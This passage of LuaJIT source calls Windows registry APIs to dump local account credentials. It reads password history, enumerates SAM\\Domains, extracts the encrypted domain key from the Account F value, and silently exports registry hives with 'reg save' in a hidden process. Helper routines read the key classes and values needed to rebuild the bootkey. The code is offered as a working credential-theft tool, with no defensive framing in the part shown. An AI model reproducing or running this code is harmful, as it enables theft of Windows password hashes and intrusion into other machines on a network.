end
end
if #history > 0 then debug_log(string.format("Extracted %d password history entries", #history)) else debug_log("No password history found") end
return history
end
-- Extract additional secrets from SAM registry
local function extract_additional_sam_secrets(bootkey)
debug_log("=== SEARCHING FOR ADDITIONAL SAM SECRETS ===")
local hklm = ffi.cast("HKEY", 0x80000002) -- HKEY_LOCAL_MACHINE
local domains_path = "SAM\\SAM\\Domains"
local domains_path_cstr = ffi.new("char[?]", #domains_path + 1)
ffi.copy(domains_path_cstr, domains_path, #domains_path)
local domains_key = ffi.new("HKEY[1]")
local result = advapi32.RegOpenKeyExA(hklm, domains_path_cstr, 0, 0x20019, domains_key)
if result == 0 then
debug_log("Successfully opened SAM\\Domains key")
-- Enumerate domain subkeys for logging only
local index = 0
while true do
local subkey_name = ffi.new("char[256]")
local subkey_name_size = ffi.new("DWORD[1]")
subkey_name_size[0] = 256
local enum_result = advapi32.RegEnumKeyExA(domains_key[0], index, subkey_name, subkey_name_size, nil, nil, nil, nil)
if enum_result ~= 0 then break end
local domain_name = ffi.string(subkey_name, subkey_name_size[0])
debug_log(string.format("Found SAM domain: %s", domain_name))
index = index + 1
end
advapi32.RegCloseKey(domains_key[0])
else
debug_log("Could not access SAM\\Domains key")
end
end
-- Extract secrets from Account domain
local function extract_account_domain_secrets(domains_key, domain_name, bootkey)
debug_log(string.format("=== EXTRACTING SECRETS FROM DOMAIN: %s ===", domain_name))
-- Open the Account domain key
local account_path_cstr = ffi.new("char[?]", #domain_name + 1)
ffi.copy(account_path_cstr, domain_name, #domain_name)
local account_key = ffi.new("HKEY[1]")
local result = advapi32.RegOpenKeyExA(domains_key, account_path_cstr, 0, 0x20019, account_key)
if result == 0 then
debug_log("Successfully opened Account domain")
-- Read F value for additional secrets
local f_data = read_registry_binary_value(account_key[0], "F")
if f_data and #f_data > 0x70 then
debug_log(string.format("Found Account F value: %d bytes", #f_data))
-- Extract encrypted secrets from F value
-- This typically contains the hashed bootkey and other domain secrets
local encrypted_key = f_data:sub(0x70 + 1, 0x70 + 16) -- Offset 0x70, 16 bytes
if #encrypted_key == 16 then
debug_log("Found encrypted domain key in F value")
local hex_key = ""
for i = 1, 16 do
hex_key = hex_key .. string.format("%02x", encrypted_key:byte(i))
end
debug_log(string.format("Encrypted domain key: %s", hex_key))
end
end
advapi32.RegCloseKey(account_key[0])
else
debug_log("Failed to open Account domain key")
end
end
-- Registry functions
local function save_registry_hive(hive_key, hive_name, output_path)
debug_log(string.format("Exporting %s hive using reg save command", hive_name))
-- Use reg save command directly (this is what works reliably)
local command = string.format('reg save HKLM\\%s "%s" /y', hive_name, output_path)
debug_log(string.format("Executing command: %s", command))
-- Prepare process creation structures
local si = ffi.new("STARTUPINFOA")
si.cb = ffi.sizeof("STARTUPINFOA")
si.dwFlags = 0x00000001 -- STARTF_USESHOWWINDOW
si.wShowWindow = 0 -- SW_HIDE
local pi = ffi.new("PROCESS_INFORMATION")
-- Convert command to C string
local command_len = #command
local command_cstr = ffi.new("char[?]", command_len + 1)
ffi.copy(command_cstr, command, command_len)
-- Create the process
local result = kernel32.CreateProcessA(nil, command_cstr, nil, nil, 0, 0, nil, nil, si, pi)
if result == 0 then
debug_log("Failed to create reg save process")
return false
end
-- Wait for process to complete (max 30 seconds)
local wait_result = kernel32.WaitForSingleObject(pi.hProcess, 30000)
-- Get exit code
local exit_code = ffi.new("DWORD[1]")
kernel32.GetExitCodeProcess(pi.hProcess, exit_code)
-- Clean up handles
kernel32.CloseHandle(pi.hProcess)
kernel32.CloseHandle(pi.hThread)
debug_log(string.format("reg save exit code: %d", exit_code[0]))
return exit_code[0] == 0
end
-- Fallback registry save using reg.exe command (mimics what reg save does)
local function read_registry_class(hkey, subkey)
local key = ffi.new("HKEY[1]")
-- Convert subkey to proper C string
local subkey_len = #subkey
local subkey_cstr = ffi.new("char[?]", subkey_len + 1)
ffi.copy(subkey_cstr, subkey, subkey_len)
-- Cast the numeric hkey to proper HKEY handle
local hkey_handle = ffi.cast("HKEY", hkey)
local result = advapi32.RegOpenKeyExA(hkey_handle, subkey_cstr, 0, 0x20019, key)
if result ~= 0 then
return nil
end
local class_size = ffi.new("DWORD[1]", 0)
local query_result = advapi32.RegEnumKeyExA(key[0], 0, nil, nil, nil, nil, class_size, nil)
if class_size[0] > 0 then
local class_buffer = ffi.new("char[?]", class_size[0] + 1)
local name_size = ffi.new("DWORD[1]", 1024)
local name_buffer = ffi.new("char[1024]")
query_result = advapi32.RegEnumKeyExA(key[0], 0, name_buffer, name_size, nil, class_buffer, class_size, nil)
if query_result == 0 then
advapi32.RegCloseKey(key[0])
return ffi.string(class_buffer, class_size[0])
end
end
advapi32.RegCloseKey(key[0])
return nil
end
local function read_registry_value(hkey, subkey, value_name)
local key = ffi.new("HKEY[1]")
-- Convert subkey to proper C string
local subkey_len = #subkey
local subkey_cstr = ffi.new("char[?]", subkey_len + 1)
ffi.copy(subkey_cstr, subkey, subkey_len)
-- Convert value_name to proper C string
local value_name_len = #value_name
local value_name_cstr = ffi.new("char[?]", value_name_len + 1)
ffi.copy(value_name_cstr, value_name, value_name_len)
-- Cast the numeric hkey to proper HKEY handle
local hkey_handle = ffi.cast("HKEY", hkey)
local result = advapi32.RegOpenKeyExA(hkey_handle, subkey_cstr, 0, 0x20019, key)
if result ~= 0 then
return nil
end
local data_size = ffi.new("DWORD[1]", 0)
local query_result = advapi32.RegQueryValueExA(key[0], value_name_cstr, nil, nil, nil, data_size)
if query_result == 0 and data_size[0] > 0 then
local data = ffi.new("BYTE[?]", data_size[0])
query_result = advapi32.RegQueryValueExA(key[0], value_name_cstr, nil, nil, data, data_size)
if query_result == 0 then
advapi32.RegCloseKey(key[0])
return ffi.string(data, data_size[0])
end
end
advapi32.RegCloseKey(key[0])
return nil
end
local function enum_registry_subkeys(hkey, subkey)
local key = ffi.new("HKEY[1]")
-- Convert subkey to proper C string
local subkey_len = #subkey
local subkey_cstr = ffi.new("char[?]", subkey_len + 1)
ffi.copy(subkey_cstr, subkey, subkey_len)
-- Cast the numeric hkey to proper HKEY handle
local hkey_handle = ffi.cast("HKEY", hkey)
local result = advapi32.RegOpenKeyExA(hkey_handle, subkey_cstr, 0, 0x20019, key)
if result ~= 0 then
return {}
end
local subkeys = {}
local index = 0